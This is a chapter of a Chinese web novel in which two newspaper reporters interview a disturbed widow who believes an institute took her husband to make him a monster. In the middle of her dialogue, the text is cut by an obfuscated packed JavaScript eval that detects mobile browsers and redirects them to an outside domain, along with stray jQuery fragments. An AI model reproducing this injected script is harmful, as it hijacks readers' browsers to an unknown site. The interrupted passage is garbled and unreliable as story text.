再一次乘着马车，穿越东西伦敦的界限。


    奥莉希娅已经完全没有上次时的轻松，硬要说呼吸难受也不至于，她只是呆滞地靠在窗边，没有什么反应。她并不害怕，应该说是不害怕的。但她还是攥紧遮盖住腿部的裙面，像是抓住护身符一样。


    但护身符对她而言，并不重要。直到那栋别墅一步步逼近，她才放下裙摆。


    奥莉希娅深吸一口气，朝着窗外看去。


    面前是一片不经打理的花园，才过去短短几日，种植在近门处道路两侧的花已经枯萎凋谢。立在门口的收信箱被撑得取件口半挂不挂搭拢在上面，更重要的是，这儿的门大开着，任由过往的路人肆意窥探。


    但这里连路人都没有，地上只有按照固定轨道行驶的蒸汽马车纹路。


    严格来说，即使这里并没有被废弃，但浑然一副被遗弃的模样。


    无论是这片花园，亦或者是其他什么。


    “走吧。”伊薇特小声提醒她。


    奥莉希娅跟着伊薇特跳下马车。


    “艾薇·米伽，三十出头……看起来是忘年恋啊，没有孩子。”伊薇特最后对着笔记本确认过顾客信息后，一边走一边又道，“话说，你跟他们接触过吧？她是什么样的人呢？”


    伊薇特突然回过头，对着身后的奥莉希娅问道。


    奥莉希娅原本低着头跟在她身后，被这样一吓，后退两步才定住。


    “你在想什么啊？”伊薇特抓了把头发，投过来无奈的目光，吐了口气。


    “没有。”奥莉希娅第一反应便是否认，紧接着露出一副回忆的模样，“艾薇·米伽吗？我也只是知道她不太好对付。”


    “……应该是这样吧。”她想了想又补充一句，“或许，操心很多？”


    开口那一瞬间，有声音在她脑海里响起，于是她就这样直接地说了出来，毫无疑问，奥莉希娅是后悔到想要立刻闭嘴的。


    伊薇特：“你到底知道什么啊？居然还会说出这种话。”


    她饶有兴趣地露出笑容。


    一般情况下，奥莉希娅是没法进行敷衍的。她曾经试过，紧接着就被这位目光毒辣又犀利的前辈戳穿。当时伊薇特笑着让她再试试这样说，后来，奥莉希娅便在这女人身上吃了哑巴亏。基本上是一报还一报。


    以她的性格，直接说或许更好。奥莉希娅判断到，应该是说自己不想说呢，还是把那件事情直接吐出。


    就在奥莉希娅没有头绪的时候，她的动作先一步。


    奥莉希娅双手推上伊薇特的后背：“算了，时间不是不早了吗，米伽夫人可刁钻了吧。”


    伊薇特张张嘴巴，狐疑地看了她一眼，扭过头朝前走去。


    两人走到别墅大门前，伊薇特上前敲了敲门。


    紧接着，门内便传来女人有气无力又刻意拔高的声音：“是《伦敦泰晤士每日电讯早晚报》报社的记者吗？”


    例行公事一般，她只是顺口一问，并没有等待她们的回答，继续道：“请进，门没有锁。请直接进来就好。”


    伊薇特推开门走进去。


    挂在门口的门铃因为她的动作发出清脆的声音，在房间里绕了好几轮才弱下去。即使是这样的声音也并没有让坐在门厅中央的女人做出任何动作，不，或许说是没有做出特定的回应动作。


    她就像是完完全全没有听见这样的铃声一般，穿着居家服的女人头发散披在肩膀上，因为被遗忘掉精细打理这件事而变得粗糙。她坐在物品堆里，重复着将某样东西拿起又放下的行为。除此之外，对外界几乎不闻。


    可是这样根本没法落脚，面前堆着的物品从女人的身边开始蔓延，一直衔接到门口——什么都有，枕头、笔记本、画像、钢笔和帽子、衣服已经算是其中比较容易一眼看到的部分。细碎的小物品更是不知道会有多少。


    因此，奥莉希娅跟着伊薇特在物品堆前停下。


    “……您好。”伊薇特用手肘戳了戳奥莉希娅示意她开口。


    艾薇·米伽这才从笔记里抬起头。


    那幅度太小，甚至会让人误认为她只是脖子酸痛而进行的稍许舒缓的调整。


    大约过了半分钟，两人等待得要再次开口的时候，艾薇·米伽这才有了回应。


    她一边喃喃自语，一边转动着身体：“记者……对，我叫了记者。”


    艾薇·米伽僵硬着脖子，扭过头来。动作一顿接着一顿，像是随时都在卡壳且失灵的玩偶。“木制玩偶”将她的头转向说话的人，紧接着又因为头重脚轻，脖子支撑不住而摇摇晃晃的。


    奥莉希娅忍住后退的意图。


    艾薇·米伽：“我知道是谁带走老爷的了！”


    她先是这样子喊道，跟着身体转过来，自始至终头都没有半分移动，目光死死地落在两人身上。


    “请你们去逮捕他们吧，那群装作是解构院工作人员的人……一定是他们干的，他们带走了我家老爷，老爷再也没有回来过，一定是他们！他们那巨大的手提箱里面，装着是尸体，那层黑色的防水布是用来防止血水蔓延的。”


    艾薇·米伽越说越激动，想要站起来，但压坐太久，站起身便摇摇晃晃地想要摔倒。


    奥莉希娅眼疾手快地接住她的身体。


    这恰恰好给了艾薇·米伽支撑的力，她挣扎着支起上半身，抬起头：“请你们去逮捕他们吧，他们要把我家老爷变成怪物，请你们曝光他们，救救我家老爷……”


    奥莉希娅被她抓着，却并非因为疼痛而皱紧眉头。


    艾薇·米伽的眼睛里遍布着红血丝，那双眼睛像是被黑雾笼罩一样，即使这是她瞳孔本身的颜色，但很难不给人这样的感觉。干燥、混乱的眼睛，配合上煞白的脸色，简直就像是女鬼。


    她就像是知道什么似的，满腔的表达欲望，几乎要化为实质从眼睛里流出来。只可惜迟钝的大脑和嘴巴跟不上她的速度，张开又闭上，张开又再次闭上，像个呼吸困难的哮喘病人。


    奥莉希娅用手轻轻在她背上拍了拍，顺平艾薇·米伽的气息：“夫人，请别着急，慢慢说。”


    艾薇·米伽看清自己抓住的人，那一瞬间就像抓住救命稻草一样。


    她的嘴巴像是风箱，“啊啊”地发出两声干燥的喊声：“你，我认出你了，你是那天那个女孩……你见过他们了吗？你一定会帮我的吧，你想知道什么我都告诉你，那一定是我的错，我不应该出门……”


    奥莉希娅后背一凉，说不出话。


    她说着，呼吸却一下子接不上来。


    伊薇特及时递上来温水，足够艾薇·米伽喝下，湿润喉咙平复心情。


    “老爷在信里说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983583|176634||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，要给我一个惊喜，说想要一直陪伴着我。”艾薇·米伽，“……我想不出其他任何的方法，只有解构院了。但是，那种东西……明明是罪过，我明明跟老爷说过，他为何又会突生这样的念头，想要做出这样子的事情？”


    艾薇·米伽：“我想了想……那一定是有人欺骗她。”


    奥莉希娅：“您认为欺骗米伽老爷的是——”


    “解构院，不，不是解构院，或许是其他什么，他们想做什么我都知道。那种非人的怪物，他们只想把所有人都变成可利用的物件。”艾薇·米伽已经完全沉浸在自己话语间的世界里，奥莉希娅完全插不进话。


    她继续说到：“所以……他们找上了米伽老爷。”


    这时的她已经全然不顾贵妇人的身份，用手小心翼翼扫开从她的位置到两人之间的物件，爬过来，抓住两人的手臂：“你们会帮帮我的吧……米伽他那么善良，收留了当时无家可归，在贫民窟备受欺凌的我……他现在要变成怪物了，请你们把这些报道出去，让米伽回来，好吗？”


    被那双眼睛盯着，奥莉希娅说不出更多的话。


    “好吗？”艾薇米伽等不到回答，又问了一遍，手指嵌得更深。


    于是，奥莉希娅：“好……”


    “抱歉。”伊薇特快速打断她。


    她拉住想要继续说下去的奥莉希娅，将她挡在身后，接过掉下来的艾薇·米伽的身体。伊薇特继续道：“抱歉，我们需要再进行素材整理，如果有后续反馈，我们会再告诉您的。”


    “整理……”艾薇·米伽的反应依旧是缓慢的，“好的，整理，这是报社为了保证质量要做的必要工作吧……两位，大概什么时候能整理好呢？”


    她本来还打算思考片刻，但思考带来的头脑疼痛使得她捂住脑袋，呢喃：“不了，我会加钱，你们尽快整理出来就好。”


    “我们会尽力。”伊薇特答应下来，拉着奥莉希娅告辞。


    艾薇·米伽没有再过多纠缠，她已经很累了，茫然地点点头。


    接着，她又爬回杂物堆里面。仅仅只是朝着她们这边瞥过来一眼，待看到她们确实是要离开，而并非趁着视线盲区而做些什么的时候，她就又将脑袋扭了回去，继续捧着先前因为她们打断而终止阅读的笔记。


    刚刚走出去，奥莉希娅便憋不住话，问道：“前辈，您为什么答应……”


    接着就被伊薇特用手指摁在脑袋上：“不答应能怎么办？她还能让我们两出来……好吧我承认，艾薇·米伽看起来确实出问题了。”


    她用手指指了指自己的脑袋：“这里吧，给她找个医生差不多就行了，别管太多。报社和她的合作就仅仅只是，采访她，完成整理。这已经足够她支付很大一笔钱，后续文稿的审核她根本做不来吧？那我们记录记录也无妨。”


    “这只是不会发出去的内容，所以我们怎么样去写都无所谓。就此打住吧，奥莉希娅，我不知道你知道什么。”伊薇特盯着她，“我也不再去深究，艾薇·米伽知道什么都是不可能再被审稿通过的。”


    奥莉希娅看着伊薇特，并不明白她话里的内容。


    奥莉希娅：“为什么？”


    伊薇特：“总之，就此打住，我们不可能拿整个报社去赌这个真相。”


    奥莉希娅低下头应道：“我明白了。”